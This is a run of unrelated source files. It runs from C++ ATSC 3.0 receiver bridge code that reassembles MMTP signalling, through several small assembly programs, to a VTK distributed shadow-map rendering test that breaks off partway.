mmtp_packet_id_packets_container_add_mmtp_signalling_packet(mmtp_packet_id_packets_container, mmtp_signalling_packet); int mmtp_signalling_packet_vector_count = mmtp_packet_id_packets_container->mmtp_signalling_packet_v.count; mmtp_signalling_packet_t* mmtp_signalling_packet_temp = NULL; mmtp_signalling_packet_t* mmtp_signalling_packet_last_temp = NULL; for(int i=0; i < mmtp_signalling_packet_vector_count && mmtp_signalling_packet_vector_valid; i++) { mmtp_signalling_packet_t* mmtp_signalling_packet_temp = mmtp_packet_id_packets_container->mmtp_signalling_packet_v.data[i]; if(!mmtp_signalling_packet_temp || !mmtp_signalling_packet_temp->udp_packet_inner_msg_payload) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: checking mmtp_signalling_packet vector sanity, mmtp_signalling_packet_temp is NULL, bailing!"); mmtp_signalling_packet_vector_valid = false; break; } if(mmtp_signalling_packet_last_temp && mmtp_signalling_packet_last_temp->mmtp_packet_id != mmtp_signalling_packet_temp->mmtp_packet_id) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: checking mmtp_signalling_packet vector sanity, mmtp_signalling_packet_last_temp->mmtp_packet_id != mmtp_signalling_packet_temp->mmtp_packet_id, %d != %d", mmtp_signalling_packet_last_temp->mmtp_packet_id, mmtp_signalling_packet_temp->mmtp_packet_id); mmtp_signalling_packet_vector_valid = false; break; } if(i == 0 && mmtp_signalling_packet_temp->si_fragmentation_indicator != 0x1) { //sanity check (01) __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: checking mmtp_signalling_packet vector sanity, i == 0 but mmtp_signalling_packet_temp->si_fragmentation_indicator is: 0x%02x", mmtp_signalling_packet_temp->si_fragmentation_indicator); mmtp_signalling_packet_vector_valid = false; break; } if(mmtp_signalling_packet_temp->si_fragmentation_counter != (mmtp_signalling_packet_vector_count - 1 - i)) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: checking mmtp_signalling_packet vector sanity, mmtp_signalling_packet_temp->si_fragmentation_counter != (mmtp_signalling_packet_vector_count - 1 - i), %d != %d, bailing!", mmtp_signalling_packet_temp->si_fragmentation_counter, mmtp_signalling_packet_vector_count - 1 - i); mmtp_signalling_packet_vector_valid = false; break; } //anything less than the "last" packet should be fi==0x2 (10) (fragment that is neither the first nor the last fragment) if(i < (mmtp_signalling_packet_vector_count - 2) && mmtp_signalling_packet_temp->si_fragmentation_indicator != 0x2) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: checking mmtp_signalling_packet vector sanity, mmtp_signalling_packet_temp->si_fragmentation_indicator: 0x%02x at index: %d, vector_count: %d", mmtp_signalling_packet_temp->si_fragmentation_indicator, i, mmtp_signalling_packet_vector_count); mmtp_signalling_packet_vector_valid = false; break; } mmtp_message_payload_final_size += mmtp_signalling_packet_temp->udp_packet_inner_msg_payload->p_size; //if we are the last index in the vector AND our fi==0x3 (11) (last fragment of a signalling message), then mark us as complete, otherwise if(i == (mmtp_signalling_packet_vector_count - 1) && mmtp_signalling_packet_temp->si_fragmentation_indicator == 0x3) { mmtp_signalling_packet_vector_complete = true; __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet vector is complete, packet_id: %d, vector size: %d", mmtp_signalling_packet_temp->mmtp_packet_id, mmtp_signalling_packet_vector_count); } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet vector not yet complete, i: %d, packet_id: %d, vector size: %d", i, mmtp_signalling_packet_temp->mmtp_packet_id, mmtp_signalling_packet_vector_count); } mmtp_signalling_packet_last_temp = mmtp_signalling_packet_temp; } if(!mmtp_signalling_packet_vector_valid) { mmtp_packet_id_packets_container_free_mmtp_signalling_packet(mmtp_packet_id_packets_container); mmtp_signalling_packet = NULL; //we will have already freed this packet by clearing the container goto error; } else if(mmtp_signalling_packet_vector_complete) { //re-assemble into MSG payload for parsing block_t* msg_payload_final = block_Alloc(mmtp_message_payload_final_size); mmtp_signalling_packet_t* mmtp_signalling_packet_temp = NULL; for(int i=0; i < mmtp_signalling_packet_vector_count; i++) { mmtp_signalling_packet_temp = mmtp_packet_id_packets_container->mmtp_signalling_packet_v.data[i]; block_AppendFromSrciPos(msg_payload_final, mmtp_signalling_packet_temp->udp_packet_inner_msg_payload); } //finally, we can now process our signalling_messagae mmtp_signalling_packet = mmtp_packet_id_packets_container_pop_mmtp_signalling_packet(mmtp_packet_id_packets_container); block_Destroy(&mmtp_signalling_packet->udp_packet_inner_msg_payload); mmtp_signalling_packet->udp_packet_inner_msg_payload = msg_payload_final; block_Rewind(mmtp_signalling_packet->udp_packet_inner_msg_payload); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_DEBUG("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet msg_payload re-assembly is complete, using first mmtp_signalling_packet: %p, udp_packet_inner_msg_payload size: %d, value: %s", mmtp_signalling_packet, mmtp_signalling_packet->udp_packet_inner_msg_payload->p_size, mmtp_signalling_packet->udp_packet_inner_msg_payload->p_buffer); mmtp_si_parsed_message_count = mmt_signalling_message_parse_packet(mmtp_signalling_packet, mmtp_signalling_packet->udp_packet_inner_msg_payload); } else { //noop: continue to accumulate __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet - adding to vector, size: %d", mmtp_signalling_packet_vector_count + 1); mmtp_signalling_packet = NULL; //so we don't free pending accumulated packets } } } if(mmtp_si_parsed_message_count > 0) { mmt_signalling_message_dump(mmtp_signalling_packet); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("process_packet: calling mmt_signalling_message_dispatch_context_notification_callbacks with udp_packet: %p, mmtp_signalling_packet: %p, atsc3_mmt_mfu_context: %p,", udp_packet, mmtp_signalling_packet, atsc3_mmt_mfu_context); //dispatch our wired callbacks mmt_signalling_message_dispatch_context_notification_callbacks(udp_packet, mmtp_signalling_packet, atsc3_mmt_mfu_context); //update our internal sls_mmt_session info bool has_updated_atsc3_mmt_sls_mpt_location_info = false; __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - before mmt_signalling_message_update_lls_sls_mmt_session with matching_lls_sls_mmt_session: %p", matching_lls_sls_mmt_session); has_updated_atsc3_mmt_sls_mpt_location_info = mmt_signalling_message_update_lls_sls_mmt_session(mmtp_signalling_packet, matching_lls_sls_mmt_session); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - after mmt_signalling_message_update_lls_sls_mmt_session with matching_lls_sls_mmt_session: %p, has_updated_atsc3_mmt_sls_mpt_location_info: %d", matching_lls_sls_mmt_session, has_updated_atsc3_mmt_sls_mpt_location_info); if(has_updated_atsc3_mmt_sls_mpt_location_info) { vector<uint8_t> updated_plp_listeners; //RAII acquire our context mutex { //make it safe for us to have a reference of lls_slt_monitor __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - before atsc3_core_service_player_bridge_get_context_mutex"); recursive_mutex& atsc3_core_service_player_bridge_context_mutex = atsc3_core_service_player_bridge_get_context_mutex(); lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - after atsc3_core_service_player_bridge_get_context_mutex"); lls_slt_monitor_t* lls_slt_monitor = atsc3_core_service_player_bridge_get_lls_slt_montior(); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - after atsc3_core_service_player_bridge_get_lls_slt_montior"); updated_plp_listeners = atsc3_phy_build_plp_listeners_from_lls_slt_monitor(lls_slt_monitor); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - after atsc3_phy_build_plp_listeners_from_lls_slt_monitor, with lls_slt_monitor: %p, updated_plp_listeners.size: %lu", lls_slt_monitor, updated_plp_listeners.size()); } //release our context mutex before invoking atsc3_phy_notify_plp_selection_changed with our updated_plp_listeners values if(updated_plp_listeners.size()) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - before atsc3_phy_notify_plp_selection_changed"); Atsc3NdkApplicationBridge_ptr->atsc3_phy_notify_plp_selection_changed(updated_plp_listeners); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - after atsc3_phy_notify_plp_selection_changed"); } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy - exit has_updated_atsc3_mmt_sls_mpt_location_info logic"); } //clear and flush out our mmtp_packet_id_packets_container if we came from re-assembly, // otherwise, final free of mmtp_signalling_packet packet in :cleanup mmtp_packet_id_packets_container_free_mmtp_signalling_packet(mmtp_packet_id_packets_container); goto cleanup; } } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("process_packet: mmtp_packet_header_parse_from_block_t - unknown payload type of 0x%x", mmtp_packet_header->mmtp_payload_type); goto error; } goto cleanup; } //catchall - not really an error, just un-processed datagram goto cleanup; error: __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: error, bailing processing!"); cleanup: //jjustman-2020-11-12 - this should be freed already from mmtp_*_free_packet_header_from_block_t, but just in case... if(mmtp_packet_header) { mmtp_packet_header_free(&mmtp_packet_header); } //jjustman-2020-11-12 - note: do not free mmtp_mpu_packet or mmtp_signalling_packet as they may have been added to a mmtp_*_packet_collection for re-assembly //unless si_fragmentation_indicator == 0x0, then we can safely release, as we do not push single units to the mmtp_packet_id_packets_container->mmtp_signalling_packet_v if(mmtp_signalling_packet && mmtp_signalling_packet->si_fragmentation_indicator == 0x0) { mmtp_signalling_packet_free(&mmtp_signalling_packet); } if(alc_packet) { alc_packet_free(&alc_packet); } if(udp_packet) { udp_packet_free(&udp_packet); } return; } /** * NDK to JNI bridiging methods defined here * @param lls_table */ void atsc3_lls_on_sls_table_present_ndk(lls_table_t* lls_table) { printf("atsc3_lls_on_sls_table_present_ndk: lls_table is: %p, val: %s", lls_table, lls_table->raw_xml.xml_payload); if(!lls_table) { Atsc3NdkApplicationBridge_ptr->LogMsg("E: atsc3_lls_on_sls_table_present_ndk: no lls_table for SLS!"); return; } if(!lls_table->raw_xml.xml_payload || !lls_table->raw_xml.xml_payload_size) { Atsc3NdkApplicationBridge_ptr->LogMsg("E: atsc3_lls_on_sls_table_present_ndk: no raw_xml.xml_payload for SLS!"); return; } //copy over our xml_payload.size +1 with a null int len_aligned = lls_table->raw_xml.xml_payload_size + 1; len_aligned += 8-(len_aligned%8); char* xml_payload_copy = (char*)calloc(len_aligned , sizeof(char)); strncpy(xml_payload_copy, (char*)lls_table->raw_xml.xml_payload, lls_table->raw_xml.xml_payload_size); Atsc3NdkApplicationBridge_ptr->atsc3_onSltTablePresent((const char*)xml_payload_copy); free(xml_payload_copy); } void atsc3_lls_on_aeat_table_present_ndk(lls_table_t* lls_table) { printf("atsc3_lls_on_aeat_table_present_ndk: lls_table is: %p, val: %s", lls_table, lls_table->raw_xml.xml_payload); if(!lls_table) { Atsc3NdkApplicationBridge_ptr->LogMsg("E: atsc3_lls_on_aeat_table_present_ndk: no lls_table for AEAT!"); return; } if(!lls_table->raw_xml.xml_payload || !lls_table->raw_xml.xml_payload_size) { Atsc3NdkApplicationBridge_ptr->LogMsg("E: atsc3_lls_on_aeat_table_present_ndk: no raw_xml.xml_payload for AEAT!"); return; } //copy over our xml_payload.size +1 with a null int len_aligned = lls_table->raw_xml.xml_payload_size + 1; len_aligned += 8-(len_aligned%8); char* xml_payload_copy = (char*)calloc(len_aligned , sizeof(char)); strncpy(xml_payload_copy, (char*)lls_table->raw_xml.xml_payload, lls_table->raw_xml.xml_payload_size); Atsc3NdkApplicationBridge_ptr->atsc3_onAeatTablePresent((const char*)xml_payload_copy); free(xml_payload_copy); } //TODO: jjustman-2019-11-08: wire up the service_id in which this alc_emission originated from in addition to tsi/toi void atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_ndk(uint16_t service_id, uint32_t tsi, uint32_t toi, char* s_tsid_content_location, char* s_tsid_content_type, char* cache_file_path) { Atsc3NdkApplicationBridge_ptr->atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_jni(service_id, tsi, toi, s_tsid_content_location, s_tsid_content_type, cache_file_path); } void atsc3_lls_sls_alc_on_route_mpd_patched_ndk(uint16_t service_id) { Atsc3NdkApplicationBridge_ptr->atsc3_lls_sls_alc_on_route_mpd_patched_jni(service_id); } void atsc3_lls_sls_alc_on_package_extract_completed_callback_ndk(atsc3_route_package_extracted_envelope_metadata_and_payload_t* atsc3_route_package_extracted_envelope_metadata_and_payload) { Atsc3NdkApplicationBridge_ptr->atsc3_lls_sls_alc_on_package_extract_completed_callback_jni(atsc3_route_package_extracted_envelope_metadata_and_payload); } bool atsc3_mmt_signalling_information_on_routecomponent_message_present_ndk(atsc3_mmt_mfu_context_t* atsc3_mmt_mfu_context, mmt_atsc3_route_component_t* mmt_atsc3_route_component) { //jjustman-2020-12-08 - TODO - add this route_component into our SLT monitoring //borrowed from atsc3_core_service_player_bridge_set_single_monitor_a331_service_id if(atsc3_mmt_mfu_context->mmt_atsc3_route_component_monitored) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_mmt_signalling_information_on_routecomponent_message_present_ndk: atsc3_mmt_mfu_context->mmt_atsc3_route_component_monitored is set, ignoring!"); return false; } lls_sls_alc_monitor = atsc3_lls_sls_alc_monitor_create_with_core_service_player_bridge_default_callbacks(atsc3_mmt_mfu_context->matching_lls_sls_mmt_session->atsc3_lls_slt_service); lls_slt_service_id_t* lls_slt_service_id = lls_slt_service_id_new_from_atsc3_lls_slt_service(atsc3_mmt_mfu_context->matching_lls_sls_mmt_session->atsc3_lls_slt_service); lls_slt_monitor_add_lls_slt_service_id(lls_slt_monitor, lls_slt_service_id); //kick start our ROUTE SLS for s-tsid processing lls_sls_alc_session_t* lls_sls_alc_session = lls_slt_alc_session_find_or_create_from_ip_udp_values(lls_slt_monitor, atsc3_mmt_mfu_context->matching_lls_sls_mmt_session->atsc3_lls_slt_service, mmt_atsc3_route_component->stsid_destination_ip_address, mmt_atsc3_route_component->stsid_destination_udp_port, mmt_atsc3_route_component->stsid_source_ip_address); if(!lls_sls_alc_session) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: lls_slt_alc_session_find_from_service_id: lls_sls_alc_session is NULL!"); } lls_sls_alc_monitor->lls_alc_session = lls_sls_alc_session; //jjustman-2021-07-07 - TODO: deprecate me lls_slt_monitor->lls_sls_alc_monitor = lls_sls_alc_monitor; lls_slt_monitor_add_lls_sls_alc_monitor(lls_slt_monitor, lls_sls_alc_monitor); return true; } void atsc3_sls_on_held_trigger_received_callback_impl(uint16_t service_id, block_t* held_payload) { block_Rewind(held_payload); uint8_t* block_ptr = block_Get(held_payload); uint32_t block_len = block_Len(held_payload); if(!str_is_utf8((const char*)block_ptr)) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_sls_on_held_trigger_received_callback_impl: HELD: is not utf-8!: %s", block_ptr); return; } int len_aligned = block_len + 1; len_aligned += 8-(len_aligned%8); char* xml_payload_copy = (char*)calloc(len_aligned , sizeof(char)); strncpy(xml_payload_copy, (char*)block_ptr, block_len); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_DEBUG("atsc3_sls_on_held_trigger_received_callback_impl: HELD: payload: %s", xml_payload_copy); Atsc3NdkApplicationBridge_ptr->atsc3_onSlsHeldEmissionPresent(service_id, (const char*)xml_payload_copy); free(xml_payload_copy); } void atsc3_mmt_signalling_information_on_held_message_present_ndk(atsc3_mmt_mfu_context_t* atsc3_mmt_mfu_context, mmt_atsc3_held_message_t* mmt_atsc3_held_message) { if(atsc3_mmt_mfu_context->matching_lls_sls_mmt_session) { atsc3_sls_on_held_trigger_received_callback_impl(atsc3_mmt_mfu_context->matching_lls_sls_mmt_session->service_id, mmt_atsc3_held_message->held_message); } } /* * note for Android MediaCodec: https://developer.android.com/reference/android/media/MediaCodec Android uses the following codec-specific data buffers. These are also required to be set in the track format for proper MediaMuxer track configuration. Each parameter set and the codec-specific-data sections marked with (*) must start with a start code of "\x00\x00\x00\x01". CSD buffer #0: H.265 HEVC VPS (Video Parameter Sets*) + SPS (Sequence Parameter Sets*) + PPS (Picture Parameter Sets*) */ block_t* __INTERNAL_LAST_NAL_PACKET_TODO_FIXME = NULL; atsc3_link_mapping_table_t* atsc3_phy_jni_bridge_notify_link_mapping_table(atsc3_link_mapping_table_t* atsc3_link_mapping_table_pending) { atsc3_link_mapping_table_t* atsc3_link_mapping_table_to_free = NULL; //jjustman-2021-01-21 - acquire our context mutex lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); //no last link mapping table, so take ownership of pending ptr if(!atsc3_link_mapping_table_last) { atsc3_link_mapping_table_last = atsc3_link_mapping_table_pending; } else { //if we have a pending table version that matches our last table version, so return our pending version to be freed (discarded) if(atsc3_link_mapping_table_pending->alp_additional_header_for_signaling_information_signaling_version == atsc3_link_mapping_table_last->alp_additional_header_for_signaling_information_signaling_version) { atsc3_link_mapping_table_to_free = atsc3_link_mapping_table_pending; } else { //pending table version is not the saemm as our last version, so discard our last ptr ref and update pending to last atsc3_link_mapping_table_to_free = atsc3_link_mapping_table_last; atsc3_link_mapping_table_last = atsc3_link_mapping_table_pending; } } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_DEBUG("atsc3_phy_jni_bridge_notify_link_mapping_table: callback complete, atsc3_link_mapping_table_last is: %p, invoked with atsc3_link_mapping_table_pending: %p, returning to free: %p", atsc3_link_mapping_table_last, atsc3_link_mapping_table_pending, atsc3_link_mapping_table_to_free); return atsc3_link_mapping_table_to_free; } string atsc3_ndk_cache_temp_folder_path_get(int service_id) { return atsc3_ndk_cache_temp_folder_path + to_string(service_id) + "/"; } string atsc3_route_service_context_temp_folder_name(int service_id) { return __ALC_DUMP_OUTPUT_PATH__ + to_string(service_id) + "/"; } int atsc3_ndk_cache_temp_unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf) { int rv = 0; if(strstr(fpath, atsc3_ndk_cache_temp_folder_path.c_str()) == fpath && strstr(fpath, "/route/") == (fpath + atsc3_ndk_cache_temp_folder_path.length())) { printf("atsc3_ndk_cache_temp_unlink_cb: removing cache path object: %s", fpath); rv = remove(fpath); if (rv) { printf("atsc3_ndk_cache_temp_unlink_cb: unable to remove path: %s, err from remove is: %d", fpath, rv); } } else { printf("atsc3_ndk_cache_temp_unlink_cb: persisting cache path object: %s", fpath); } return rv; } int atsc3_ndk_cache_temp_folder_purge(char *path) { printf("atsc3_ndk_cache_temp_folder_purge: invoked with path: %s", path); return nftw(path, atsc3_ndk_cache_temp_unlink_cb, 64, FTW_DEPTH | FTW_PHYS); } #endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2017-2018, Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define GCM192_MODE 1 %include "sse/gcm_sse.asm"
; Test unaligned access to memory addi r1, r0, 1 nop nop nop nop sw 0(r0), r1 nop nop nop ; due to pipelined structure of the DataPath, the bit will be set only one clock cycle after. ; the unalinged bit is set during the mem phase of lw but the PSW register will updated the output read ; by the movs2i only at the rising edge of the clock. Hence the movs2i should be delayed of one clock cycle, ; that is the ex phase of movs2i should match the wb phase of lw lw r5, 1(r0) ; F D E |M| W movs2i r6 ; F D |E| M W <- Uncorrect data! ; x PSW output not updated yet! nop nop nop nop nop ;correct way to read ; NOTE due to the pipelined structure, any instruction is suitable between load instruction and movs2i. Here we choose a nop lw r5, 1(r0) ; F D E M |W| nop ; F D E |M| W movs2i r6 ; F D |E| M W ; ^ PSW updated correctly! ; another example, with an instruction different from nop lw r7, 1(r0) lw r9, 0(r0) movs2i r8 end: j end
; A008420: Coordination sequence for 10-dimensional cubic lattice. ; Submitted by Christian Krause ; 1,20,200,1340,6800,28004,97880,299660,822560,2060980,4780008,10377180,21278640,41517060,77548920,139380012,242080320,407782740,668274440,1068305020,1669752016,2556801700,3842321560,5675620300,8251811680,11823020020,16711687720,23326268700,32179616240,43910399300,59307908024,79340636780,105189061760,138283059860,180344446280,233435140028,300011499280,382985402340,485792684760,612469579020,767737840032,957099277620,1186940456040,1464648360540,1798737871920,2198991932036,2676615326200 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 trn $0,1 seq $0,8421 ; Crystal ball sequence for 10-dimensional cubic lattice. mov $2,$3 mul $2,$0 add $4,$2 lpe min $5,1 mul $5,$0 mov $0,$4 sub $0,$5
SECTION code_fcntl PUBLIC asm_tty_param_bb_absorb EXTERN asm_tty_state_get_2 EXTERN asm_tty_state_param_store asm_tty_param_bb_absorb: ; c = action code ; stack = & tty.action ; command code has one parameter and tty absorbs set 7,c ; indicate absorb ld de,asm_tty_state_get_2 jp asm_tty_state_param_store
/*========================================================================= Program: Visualization Toolkit Module: TestDistributedDataShadowMapPass.cxx Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ // This test covers the shadow map render pass. // The scene consists of // * 4 actors: a rectangle, a box, a cone and a sphere. The box, the cone and // the sphere are above the rectangle. // * 2 spotlights: one in the direction of the box, another one in the // direction of the sphere. Both lights are above the box, the cone and // the sphere. // // The command line arguments are: // -I => run in interactive mode; unless this is used, the program will // not allow interaction and exit #include "vtkObjectFactory.h" #include <mpi.h> #include "vtkMPICommunicator.h" #include "vtkMPIController.h" #include "vtkCompositeRenderManager.h" #include "vtkTestUtilities.h" #include "vtkRegressionTestImage.h" #include "vtkRenderWindowInteractor.h" #include "vtkRenderWindow.h" #include "vtkOpenGLRenderer.h" #include "vtkActor.h" #include "vtkImageSinusoidSource.h" #include "vtkImageData.h" #include "vtkImageDataGeometryFilter.h" #include "vtkDataSetSurfaceFilter.h" #include "vtkPolyDataMapper.h" #include "vtkLookupTable.h" #include "vtkCamera.h" #include "vtkCameraPass.h" #include "vtkLightsPass.h" #include "vtkSequencePass.h" #include "vtkOpaquePass.h" #include "vtkDepthPeelingPass.h" #include "vtkTranslucentPass.h" #include "vtkVolumetricPass.h" #include "vtkOverlayPass.h" #include "vtkRenderPassCollection.h" #include "vtkShadowMapBakerPass.h" #include "vtkShadowMapPass.h" #include "vtkCompositeZPass.h" #include "vtkConeSource.h" #include "vtkPlaneSource.h" #include "vtkCubeSource.h" #include "vtkSphereSource.h" #include "vtkInformation.h" #include "vtkProperty.h" #include "vtkLight.h" #include "vtkLightCollection.h" #include <cassert> #include "vtkMath.h" #include "vtkFrustumSource.h" #include "vtkPlanes.h" #include "vtkActorCollection.h" #include "vtkPolyDataNormals.h" #include "vtkPointData.h" #include "vtkStreamingDemandDrivenPipeline.h" #include "vtkAlgorithmOutput.h" #include "vtkLightActor.h" #include "vtkProcess.h" #include "vtkTreeCompositer.h" #include "vtkOpenGLRenderWindow.h" namespace { // Defined in TestLightActor.cxx // For each spotlight, add a light frustum wireframe representation and a cone // wireframe representation, colored with the light color. void AddLightActors(vtkRenderer *r); class MyProcess : public vtkProcess { public: static MyProcess *New(); virtual void Execute(); void SetArgs(int anArgc, char *anArgv[]) { this->Argc=anArgc; this->Argv=anArgv; } protected: MyProcess(); int Argc; char **Argv; }; vtkStandardNewMacro(MyProcess); MyProcess::MyProcess() { this->Argc=0; this->Argv=0; } void MyProcess::Execute() { // multiprocesss logic int numProcs=this->Controller->GetNumberOfProcesses(); int me=this->Controller->GetLocalProcessId(); vtkCompositeRenderManager *prm = vtkCompositeRenderManager::New(); vtkTreeCompositer *compositer=vtkTreeCompositer::New(); prm->SetCompositer(compositer); compositer->Delete(); vtkRenderWindowInteractor *iren=0; if(me==0) { iren=vtkRenderWindowInteractor::New(); } vtkRenderWindow *renWin = prm->MakeRenderWindow(); renWin->SetMultiSamples(0); renWin->SetAlphaBitPlanes(1); if(me==0) { iren->SetRenderWindow(renWin); } vtkRenderer *renderer = prm->MakeRenderer(); renWin->AddRenderer(renderer); renderer->Delete(); vtkCameraPass *cameraP=vtkCameraPass::New(); vtkOpaquePass *opaque=vtkOpaquePass::New(); vtkDepthPeelingPass *peeling=vtkDepthPeelingPass::New(); peeling->SetMaximumNumberOfPeels(200); peeling->SetOcclusionRatio(0.1); vtkTranslucentPass *translucent=vtkTranslucentPass::New(); peeling->SetTranslucentPass(translucent); vtkVolumetricPass *volume=vtkVolumetricPass::New(); vtkOverlayPass *overlay=vtkOverlayPass::New(); vtkLightsPass *lights=vtkLightsPass::New(); vtkSequencePass *opaqueSequence=vtkSequencePass::New(); vtkRenderPassCollection *passes2=vtkRenderPassCollection::New(); passes2->AddItem(lights); passes2->AddItem(opaque); opaqueSequence->SetPasses(passes2); vtkCameraPass *opaqueCameraPass=vtkCameraPass::New(); opaqueCameraPass->SetDelegatePass(opaqueSequence); vtkShadowMapBakerPass *shadowsBaker=vtkShadowMapBakerPass::New(); shadowsBaker->SetOpaquePass(opaqueCameraPass); shadowsBaker->SetResolution(1024); // To cancel self-shadowing. shadowsBaker->SetPolygonOffsetFactor(3.1f); shadowsBaker->SetPolygonOffsetUnits(10.0f); vtkCompositeZPass *compositeZPass=vtkCompositeZPass::New(); compositeZPass->SetController(this->Controller); shadowsBaker->SetCompositeZPass(compositeZPass); compositeZPass->Delete(); vtkShadowMapPass *shadows=vtkShadowMapPass::New(); shadows->SetShadowMapBakerPass(shadowsBaker); shadows->SetOpaquePass(opaqueSequence); vtkSequencePass *seq=vtkSequencePass::New(); vtkRenderPassCollection *passes=vtkRenderPassCollection::New(); passes->AddItem(shadowsBaker); passes->AddItem(shadows); passes->AddItem(lights); passes->AddItem(peeling); passes->AddItem(volume); passes->AddItem(overlay); seq->SetPasses(passes); cameraP->SetDelegatePass(seq); vtkOpenGLRenderer *glrenderer = vtkOpenGLRenderer::SafeDownCast(renderer); glrenderer->SetPass(cameraP); vtkPlaneSource *rectangleSource=vtkPlaneSource::New(); rectangleSource->SetOrigin(-5.0,0.0,5.0); rectangleSource->SetPoint1(5.0,0.0,5.0); rectangleSource->SetPoint2(-5.0,0.0,-5.0); rectangleSource->SetResolution(100,100); vtkPolyDataMapper *rectangleMapper=vtkPolyDataMapper::New(); rectangleMapper->SetInputConnection(rectangleSource->GetOutputPort()); rectangleSource->Delete(); rectangleMapper->SetScalarVisibility(0); vtkActor *rectangleActor=vtkActor::New(); vtkInformation *rectangleKeyProperties=vtkInformation::New(); rectangleKeyProperties->Set(vtkShadowMapBakerPass::OCCLUDER(),0); // dummy val. rectangleKeyProperties->Set(vtkShadowMapBakerPass::RECEIVER(),0); // dummy val. rectangleActor->SetPropertyKeys(rectangleKeyProperties); rectangleKeyProperties->Delete(); rectangleActor->SetMapper(rectangleMapper); rectangleMapper->Delete(); rectangleActor->SetVisibility(1); rectangleActor->GetProperty()->SetColor(1.0,1.0,1.0); vtkCubeSource *boxSource=vtkCubeSource::New(); boxSource->SetXLength(2.0); vtkPolyDataNormals *boxNormals=vtkPolyDataNormals::New(); boxNormals->SetInputConnection(boxSource->GetOutputPort()); 